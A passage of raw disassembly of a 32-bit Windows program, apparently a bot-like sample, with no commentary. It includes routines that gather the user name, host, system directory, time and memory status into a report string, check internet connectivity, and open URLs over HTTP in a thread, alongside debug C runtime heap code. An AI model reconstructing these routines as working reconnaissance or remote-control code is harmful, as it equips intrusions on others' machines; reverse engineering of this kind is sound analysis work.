[ebp+var_25C] push ecx call eax ; GetUserNameA loc_4148E7: ; CODE XREF: sub_4147AC+12Cj push [ebp+arg_4] call sub_408882 pop ecx push eax call dword_4D66A8 ; inet_addr mov [ebp+var_C], eax push 2 lea eax, [ebp+var_C] push 4 push eax call dword_4D6620 ; gethostbyaddr cmp eax, ebx jz short loc_414910 push dword ptr [eax] jmp short loc_414915 ; --------------------------------------------------------------------------- loc_414910: ; CODE XREF: sub_4147AC+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_414915: ; CODE XREF: sub_4147AC+162j lea eax, [ebp+var_3E4] push eax call sub_417CB0 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax call dword_4E0338 ; GetSystemDirectoryA lea eax, [ebp+var_114] push 46h push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx mov esi, 409h push ebx push esi call dword_4E03D0 ; GetDateFormatA lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs_0 ; "HH:mm:ss" push ebx push ebx push esi call dword_4E03CC ; GetTimeFormatA push 20h lea eax, [ebp+var_38] push ebx push eax call sub_417700 add esp, 0Ch lea eax, [ebp+var_38] push eax call dword_4E043C ; GlobalMemoryStatus push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_417F80 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_968] push eax call sub_411278 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_414606 add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_408882 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_411169 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_411169 pop ecx pop ecx push eax call sub_4146F0 push edx push eax push offset dword_444C50 push 200h push [ebp+arg_0] call sub_417E80 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_4147AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414A60 proc near ; CODE XREF: sub_401C87+2269p ; sub_401C87+31ABp var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_417700 add esp, 0Ch cmp dword_4D674C, 0 jnz short loc_414AD4 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4D652C ; InternetGetConnectedStateExA test eax, eax jnz short loc_414AB5 lea eax, [ebp+var_8C] push offset dword_444D2C push eax call sub_417CB0 pop ecx pop ecx loc_414AB5: ; CODE XREF: sub_414A60+40j test [ebp+var_C], 1 lea eax, [ebp+var_8] jz short loc_414ACD push offset dword_444D3C loc_414AC3: ; CODE XREF: sub_414A60+72j push eax call sub_417CB0 pop ecx pop ecx jmp short loc_414AF6 ; --------------------------------------------------------------------------- loc_414ACD: ; CODE XREF: sub_414A60+5Cj push offset off_444D44 jmp short loc_414AC3 ; --------------------------------------------------------------------------- loc_414AD4: ; CODE XREF: sub_414A60+28j lea eax, [ebp+var_8] push offset off_444D48 push eax call sub_417CB0 lea eax, [ebp+var_8C] push offset off_444D4C push eax call sub_417CB0 add esp, 10h loc_414AF6: ; CODE XREF: sub_414A60+6Bj push [ebp+arg_4] push [ebp+arg_8] call sub_408882 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_444D50 push 200h push [ebp+arg_0] call sub_417E80 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_414A60 endp ; =============== S U B R O U T I N E ======================================= sub_414B29 proc near ; CODE XREF: sub_4146F0:loc_4146F8p ; sub_4146F0+1Cp rdtsc retn sub_414B29 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 18h lea eax, [ebp-0Ch] push eax mov ecx, [ebp+8] push ecx call sub_4337B2 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jnz short loc_414B53 xor eax, eax jmp loc_414C82 ; --------------------------------------------------------------------------- loc_414B53: ; CODE XREF: .data:00414B4Aj mov edx, [ebp-4] push edx call sub_415090 add esp, 4 mov [ebp-10h], eax cmp dword ptr [ebp-10h], 0 jnz short loc_414B6F xor eax, eax jmp loc_414C82 ; --------------------------------------------------------------------------- loc_414B6F: ; CODE XREF: .data:00414B66j mov eax, [ebp-10h] push eax mov ecx, [ebp-4] push ecx mov edx, [ebp-0Ch] push edx mov eax, [ebp+8] push eax call sub_4337AC test eax, eax jnz short loc_414B9B mov ecx, [ebp-10h] push ecx call sub_415C20 add esp, 4 xor eax, eax jmp loc_414C82 ; --------------------------------------------------------------------------- loc_414B9B: ; CODE XREF: .data:00414B86j lea edx, [ebp-14h] push edx lea eax, [ebp-8] push eax push offset dword_444D94 mov ecx, [ebp-10h] push ecx call sub_4337A6 test eax, eax jz loc_414C74 mov edx, [ebp-8] mov eax, [edx+0Ch] shr eax, 10h and eax, 0FFFFh cmp eax, 0A28h jnz loc_414C74 mov ecx, [ebp-8] mov edx, [ecx+0Ch] and edx, 0FFFFh and edx, 0FFFFh mov [ebp-18h], edx cmp dword ptr [ebp-18h], 0A7Dh jg short loc_414C0D cmp dword ptr [ebp-18h], 0A7Dh jz short loc_414C51 cmp dword ptr [ebp-18h], 884h jz short loc_414C18 cmp dword ptr [ebp-18h], 9C9h jz short loc_414C3E jmp short loc_414C64 ; --------------------------------------------------------------------------- loc_414C0D: ; CODE XREF: .data:00414BEEj cmp dword ptr [ebp-18h], 0B4Ch jz short loc_414C2B jmp short loc_414C64 ; --------------------------------------------------------------------------- loc_414C18: ; CODE XREF: .data:00414C00j mov eax, [ebp-10h] push eax call sub_415C20 add esp, 4 mov eax, 1 jmp short loc_414C82 ; --------------------------------------------------------------------------- loc_414C2B: ; CODE XREF: .data:00414C14j mov ecx, [ebp-10h] push ecx call sub_415C20 add esp, 4 mov eax, 2 jmp short loc_414C82 ; --------------------------------------------------------------------------- loc_414C3E: ; CODE XREF: .data:00414C09j mov edx, [ebp-10h] push edx call sub_415C20 add esp, 4 mov eax, 3 jmp short loc_414C82 ; --------------------------------------------------------------------------- loc_414C51: ; CODE XREF: .data:00414BF7j mov eax, [ebp-10h] push eax call sub_415C20 add esp, 4 mov eax, 4 jmp short loc_414C82 ; --------------------------------------------------------------------------- loc_414C64: ; CODE XREF: .data:00414C0Bj ; .data:00414C16j mov ecx, [ebp-10h] push ecx call sub_415C20 add esp, 4 xor eax, eax jmp short loc_414C82 ; --------------------------------------------------------------------------- loc_414C74: ; CODE XREF: .data:00414BB3j ; .data:00414BCCj mov edx, [ebp-10h] push edx call sub_415C20 add esp, 4 xor eax, eax loc_414C82: ; CODE XREF: .data:00414B4Ej ; .data:00414B6Aj ... mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414C86 proc near ; DATA XREF: sub_401C87+3616o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd xor esi, esi mov edi, 80h inc esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_444D98 call sub_417700 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_417700 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_417700 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_417700 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_417700 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_414EC0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_4D6564 ; InternetCrackUrlA test eax, eax jz loc_414E26 cmp [ebp+var_34], ebx jbe short loc_414D5D push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_417760 add esp, 0Ch loc_414D5D: ; CODE XREF: sub_414C86+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_414D7B push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_417760 add esp, 0Ch loc_414D7B: ; CODE XREF: sub_414C86+DEj cmp [ebp+var_20], ebx jbe short loc_414D95 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_417760 add esp, 0Ch loc_414D95: ; CODE XREF: sub_414C86+F8j cmp [ebp+var_18], ebx jbe short loc_414DAF push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_417760 add esp, 0Ch loc_414DAF: ; CODE XREF: sub_414C86+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_4D6618 call dword_4D663C ; InternetConnectA mov esi, eax cmp esi, ebx jz short loc_414E3C push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4D6630 ; HttpOpenRequestA cmp eax, ebx mov [ebp+var_4], eax jz short loc_414E43 push ebx push ebx push ebx push ebx push eax call dword_4D65DC ; HttpSendRequestA test eax, eax lea eax, [ebp+var_55C] jz short loc_414E1F push offset dword_444D9C jmp short loc_414E4E ; --------------------------------------------------------------------------- loc_414E1F: ; CODE XREF: sub_414C86+190j push offset unk_444DB8 jmp short loc_414E4E ; --------------------------------------------------------------------------- loc_414E26: ; CODE XREF: sub_414C86+B7j lea eax, [ebp+var_55C] push offset dword_444DF4 push eax call sub_417CB0 mov esi, [ebp+var_C] jmp short loc_414E54 ; --------------------------------------------------------------------------- loc_414E3C: ; CODE XREF: sub_414C86+153j push offset unk_444E10 jmp short loc_414E48 ; --------------------------------------------------------------------------- loc_414E43: ; CODE XREF: sub_414C86+17Bj ; DATA XREF: .data:00447CCCo push offset unk_444E3C loc_414E48: ; CODE XREF: sub_414C86+1BBj lea eax, [ebp+var_55C] loc_414E4E: ; CODE XREF: sub_414C86+197j ; sub_414C86+19Ej push eax call sub_417CB0 loc_414E54: ; CODE XREF: sub_414C86+1B4j cmp [ebp+var_1D4], ebx pop ecx pop ecx jnz short loc_414E81 push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_40764A add esp, 14h loc_414E81: ; CODE XREF: sub_414C86+1D6j lea eax, [ebp+var_55C] push eax call sub_40F927 pop ecx push esi call dword_4D669C ; InternetCloseHandle push [ebp+var_4] call dword_4D669C ; InternetCloseHandle push [ebp+var_1D8] call sub_409979 pop ecx push ebx call dword_4E03A0 ; ExitThread pop edi pop esi pop ebx jmp dword_4E04D8 sub_414C86 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_414EC0 proc near ; CODE XREF: sub_401000+38p ; .data:004011F1p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_414EE0 loc_414ECC: ; CODE XREF: sub_414EC0+19j mov al, [ecx] inc ecx test al, al jz short loc_414F13 test ecx, 3 jnz short loc_414ECC add eax, 0 loc_414EE0: ; CODE XREF: sub_414EC0+Aj ; sub_414EC0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_414EE0 mov eax, [ecx-4] test al, al jz short loc_414F31 test ah, ah jz short loc_414F27 test eax, 0FF0000h jz short loc_414F1D test eax, 0FF000000h jz short loc_414F13 jmp short loc_414EE0 ; --------------------------------------------------------------------------- loc_414F13: ; CODE XREF: sub_414EC0+11j ; sub_414EC0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_414F1D: ; CODE XREF: sub_414EC0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_414F27: ; CODE XREF: sub_414EC0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_414F31: ; CODE XREF: sub_414EC0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_414EC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414F40 proc near ; CODE XREF: sub_4010AA+62p ; sub_401C87+3484p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_4], 0FFFFFFFFh loc_414F4E: ; CODE XREF: sub_414F40+36j cmp [ebp+arg_0], 0 jnz short loc_414F72 push offset dword_43449C push 0 push 3Ah push offset dword_434490 push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_414F72 int 3 ; Trap to Debugger loc_414F72: ; CODE XREF: sub_414F40+12j ; sub_414F40+2Fj xor eax, eax test eax, eax jnz short loc_414F4E mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] and edx, 40h test edx, edx jz short loc_414F91 mov eax, [ebp+arg_0] mov dword ptr [eax+0Ch], 0 jmp short loc_414FB8 ; --------------------------------------------------------------------------- loc_414F91: ; CODE XREF: sub_414F40+43j mov ecx, [ebp+arg_0] push ecx call sub_41AE20 add esp, 4 mov edx, [ebp+arg_0] push edx call sub_414FD0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_0] push eax call sub_41AE90 add esp, 4 loc_414FB8: ; CODE XREF: sub_414F40+4Fj mov eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_414F40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414FD0 proc near ; CODE XREF: sub_414F40+61p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+arg_0] mov [ebp+var_8], eax loc_414FE6: ; CODE XREF: sub_414FD0+3Ej cmp [ebp+arg_0], 0 jnz short loc_41500A push offset dword_4344AC push 0 push 77h push offset dword_434490 push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_41500A int 3 ; Trap to Debugger loc_41500A: ; CODE XREF: sub_414FD0+1Aj ; sub_414FD0+37j xor ecx, ecx test ecx, ecx jnz short loc_414FE6 mov edx, [ebp+var_8] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_41507A mov ecx, [ebp+var_8] push ecx call sub_41B920 add esp, 4 mov [ebp+var_4], eax mov edx, [ebp+var_8] push edx call sub_41B7E0 add esp, 4 mov eax, [ebp+var_8] mov ecx, [eax+10h] push ecx call sub_41B6B0 add esp, 4 test eax, eax jge short loc_415056 mov [ebp+var_4], 0FFFFFFFFh jmp short loc_41507A ; --------------------------------------------------------------------------- loc_415056: ; CODE XREF: sub_414FD0+7Bj mov edx, [ebp+var_8] cmp dword ptr [edx+1Ch], 0 jz short loc_41507A push 2 mov eax, [ebp+var_8] mov ecx, [eax+1Ch] push ecx call sub_415C60 add esp, 8 mov edx, [ebp+var_8] mov dword ptr [edx+1Ch], 0 loc_41507A: ; CODE XREF: sub_414FD0+4Dj ; sub_414FD0+84j ... mov eax, [ebp+var_8] mov dword ptr [eax+0Ch], 0 mov eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_414FD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415090 proc near ; CODE XREF: sub_4010AA+6p ; sub_40879E+63p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 0 push 0 push 1 mov eax, dword_4DDFE4 push eax mov ecx, [ebp+arg_0] push ecx call sub_415110 add esp, 14h mov [ebp+var_4], eax mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_415090 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4150C0 proc near ; CODE XREF: sub_415520+20p ; sub_415640+26p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, dword_4DDFE4 push eax mov ecx, [ebp+arg_0] push ecx call sub_415110 add esp, 14h mov [ebp+var_4], eax mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4150C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4150F0 proc near ; CODE XREF: sub_419E80+Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0 push 0 push 1 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_415110 add esp, 14h pop ebp retn sub_4150F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415110 proc near ; CODE XREF: sub_415090+14p ; sub_4150C0+1Ap ... var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h ; FUNCTION CHUNK AT 00415178 SIZE 00000038 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4344E0 push offset sub_41BD64 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF4h push ebx push esi push edi loc_415133: ; CODE XREF: sub_415110:loc_41519Dj push 9 call sub_41BC80 add esp, 4 mov [ebp+var_4], 0 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_0] push eax call sub_4151D0 add esp, 10h mov [ebp+var_1C], eax mov [ebp+var_4], 0FFFFFFFFh call sub_41516D jmp short loc_415178 sub_415110 endp ; =============== S U B R O U T I N E ======================================= sub_41516D proc near ; CODE XREF: sub_415110+56p ; DATA XREF: .data:004344E8o push 9 call sub_41BD20 add esp, 4 retn sub_41516D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_415110 loc_415178: ; CODE XREF: sub_415110+5Bj cmp [ebp+var_1C], 0 jnz short loc_415184 cmp [ebp+arg_4], 0 jnz short loc_415189 loc_415184: ; CODE XREF: sub_415110+6Cj mov eax, [ebp+var_1C] jmp short loc_41519F ; --------------------------------------------------------------------------- loc_415189: ; CODE XREF: sub_415110+72j mov ecx, [ebp+arg_0] push ecx call sub_41BB70 add esp, 4 test eax, eax jnz short loc_41519D xor eax, eax jmp short loc_41519F ; --------------------------------------------------------------------------- loc_41519D: ; CODE XREF: sub_415110+87j jmp short loc_415133 ; --------------------------------------------------------------------------- loc_41519F: ; CODE XREF: sub_415110+77j ; sub_415110+8Bj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_415110 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0 push 0 push 1 mov eax, [ebp+8] push eax call sub_4151D0 add esp, 10h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151D0 proc near ; CODE XREF: sub_415110+44p ; .data:004151BDp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov [ebp+var_C], 0 mov eax, dword_444E70 and eax, 4 test eax, eax jz short loc_41521C loc_4151EC: ; CODE XREF: sub_4151D0+4Aj call sub_416420 test eax, eax jnz short loc_415216 push offset a_crtcheckmemor ; "_CrtCheckMemory()" push 0 push 14Ch push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_415216 int 3 ; Trap to Debugger loc_415216: ; CODE XREF: sub_4151D0+23j ; sub_4151D0+43j xor ecx, ecx test ecx, ecx jnz short loc_4151EC loc_41521C: ; CODE XREF: sub_4151D0+1Aj mov edx, dword_444E74 mov [ebp+var_8], edx mov eax, [ebp+var_8] cmp eax, dword_444E78 jnz short loc_415231 int 3 ; Trap to Debugger loc_415231: ; CODE XREF: sub_4151D0+5Ej mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx loc_415245: ; DATA XREF: .data:00447B98o ; .data:00447BA0o push 0 push 1 call off_445240 add esp, 1Ch test eax, eax jnz short loc_4152B4 cmp [ebp+arg_8], 0 jz short loc_415287 loc_41525C: ; CODE XREF: sub_4151D0+B3j mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push offset aClientHookAllo ; "Client hook allocation failure at file "... push 0 push 0 push 0 push 0 call sub_41B010 add esp, 1Ch cmp eax, 1 jnz short loc_41527F int 3 ; Trap to Debugger loc_41527F: ; CODE XREF: sub_4151D0+ACj xor edx, edx test edx, edx jnz short loc_41525C jmp short loc_4152AD ; --------------------------------------------------------------------------- loc_415287: ; CODE XREF: sub_4151D0+8Aj ; sub_4151D0+DBj push offset aClientHookAl_0 ; "Client hook allocation failure.\n" push offset aS_20 ; "%s" push 0 push 0 push 0 push 0 call sub_41B010 add esp, 18h cmp eax, 1 jnz short loc_4152A7 int 3 ; Trap to Debugger loc_4152A7: ; CODE XREF: sub_4151D0+D4j xor eax, eax test eax, eax jnz short loc_415287 loc_4152AD: ; CODE XREF: sub_4151D0+B5j xor eax, eax jmp loc_4154DC ; --------------------------------------------------------------------------- loc_4152B4: ; CODE XREF: sub_4151D0+84j mov ecx, [ebp+arg_4] and ecx, 0FFFFh cmp ecx, 2 jz short loc_4152D6 mov edx, dword_444E70 and edx, 1 test edx, edx jnz short loc_4152D6 mov [ebp+var_C], 1 loc_4152D6: ; CODE XREF: sub_4151D0+F0j ; sub_4151D0+FDj cmp [ebp+arg_0], 0FFFFFFE0h ja short loc_4152E7 mov eax, [ebp+arg_0] add eax, 24h cmp eax, 0FFFFFFE0h jbe short loc_415313 loc_4152E7: ; CODE XREF: sub_4151D0+10Aj ; sub_4151D0+13Aj mov ecx, [ebp+arg_0] push ecx push offset aInvalidAllocat ; "Invalid allocation size: %u bytes.\n" push 0 push 0 push 0 push 1 call sub_41B010 add esp, 18h cmp eax, 1 jnz short loc_415306 int 3 ; Trap to Debugger loc_415306: ; CODE XREF: sub_4151D0+133j xor edx, edx test edx, edx jnz short loc_4152E7 xor eax, eax jmp loc_4154DC ; --------------------------------------------------------------------------- loc_415313: ; CODE XREF: sub_4151D0+115j mov eax, [ebp+arg_4] and eax, 0FFFFh cmp eax, 4 jz short loc_415360 cmp [ebp+arg_4], 1 jz short loc_415360 mov ecx, [ebp+arg_4] and ecx, 0FFFFh cmp ecx, 2 jz short loc_415360 cmp [ebp+arg_4], 3 jz short loc_415360 loc_41533A: ; CODE XREF: sub_4151D0+18Ej push offset aErrorMemoryAll ; "Error: memory allocation: bad memory bl"... push offset aS_20 ; "%s" loc_415344: ; DATA XREF: .data:00447E00o push 0 push 0 push 0 push 1 call sub_41B010 add esp, 18h loc_415354: ; DATA XREF: .data:00447FECo cmp eax, 1 jnz short loc_41535A int 3 ; Trap to Debugger loc_41535A: ; CODE XREF: sub_4151D0+187j xor edx, edx test edx, edx jnz short loc_41533A loc_415360: ; CODE XREF: sub_4151D0+14Ej ; sub_4151D0+154j ... mov eax, [ebp+arg_0] add eax, 24h mov [ebp+var_10], eax mov ecx, [ebp+var_10] push ecx call sub_41BEC0 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_415385 xor eax, eax jmp loc_4154DC ; --------------------------------------------------------------------------- loc_415385: ; CODE XREF: sub_4151D0+1ACj mov edx, dword_444E74 add edx, 1 mov dword_444E74, edx cmp [ebp+var_C], 0 jz short loc_4153E3 mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0 mov edx, [ebp+var_4] mov dword ptr [edx+8], 0 mov eax, [ebp+var_4] mov dword ptr [eax+0Ch], 0FEDCBABCh mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov [ecx+10h], edx mov eax, [ebp+var_4] mov dword ptr [eax+14h], 3 mov ecx, [ebp+var_4] mov dword ptr [ecx+18h], 0 jmp loc_415483 ; --------------------------------------------------------------------------- loc_4153E3: ; CODE XREF: sub_4151D0+1C8j mov edx, dword_4DDF70 add edx, [ebp+arg_0] mov dword_4DDF70, edx mov eax, dword_4DDF78 add eax, [ebp+arg_0] mov dword_4DDF78, eax mov ecx, dword_4DDF78 cmp ecx, dword_4DDF7C jbe short loc_415419 mov edx, dword_4DDF78 mov dword_4DDF7C, edx loc_415419: ; CODE XREF: sub_4151D0+23Bj cmp dword_4DDF74, 0 jz short loc_41542F mov eax, dword_4DDF74 mov ecx, [ebp+var_4] mov [eax+4], ecx jmp short loc_415438 ; --------------------------------------------------------------------------- loc_41542F: ; CODE XREF: sub_4151D0+250j mov edx, [ebp+var_4] mov dword_4DDF6C, edx loc_415438: ; CODE XREF: sub_4151D0+25Dj mov eax, [ebp+var_4] mov ecx, dword_4DDF74 mov [eax], ecx mov edx, [ebp+var_4] mov dword ptr [edx+4], 0 mov eax, [ebp+var_4] mov ecx, [ebp+arg_8] mov [eax+8], ecx mov edx, [ebp+var_4] mov eax, [ebp+arg_C] mov [edx+0Ch], eax mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov [ecx+10h], edx mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov [eax+14h], ecx mov edx, [ebp+var_4] mov eax, [ebp+var_8] mov [edx+18h], eax mov ecx, [ebp+var_4] mov dword_4DDF74, ecx loc_415483: ; CODE XREF: sub_4151D0+20Ej push 4 xor edx, edx mov dl, byte_444E7C push edx mov eax, [ebp+var_4] add eax, 1Ch push eax call sub_417700 add esp, 0Ch push 4 xor ecx, ecx mov cl, byte_444E7C push ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_4] lea ecx, [eax+edx+20h] push ecx call sub_417700 add esp, 0Ch mov edx, [ebp+arg_0] push edx xor eax, eax mov al, byte_444E7E push eax mov ecx, [ebp+var_4] add ecx, 20h push ecx call sub_417700 add esp, 0Ch mov eax, [ebp+var_4] add eax, 20h loc_4154DC: ; CODE XREF: sub_4151D0+DFj ; sub_4151D0+13Ej ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4151D0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push 0 push 0 push 1 mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_415520 add esp, 14h mov [ebp-4], eax mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415520 proc near ; CODE XREF: .data:00415502p ; sub_41ACD0+40p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] imul eax, [ebp+arg_0] mov [ebp+arg_4], eax mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx call sub_4150C0 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_415579 mov edx, [ebp+var_8] mov [ebp+var_C], edx mov eax, [ebp+var_C] add eax, [ebp+arg_4] mov [ebp+var_4], eax loc_415560: ; CODE XREF: sub_415520+57j mov ecx, 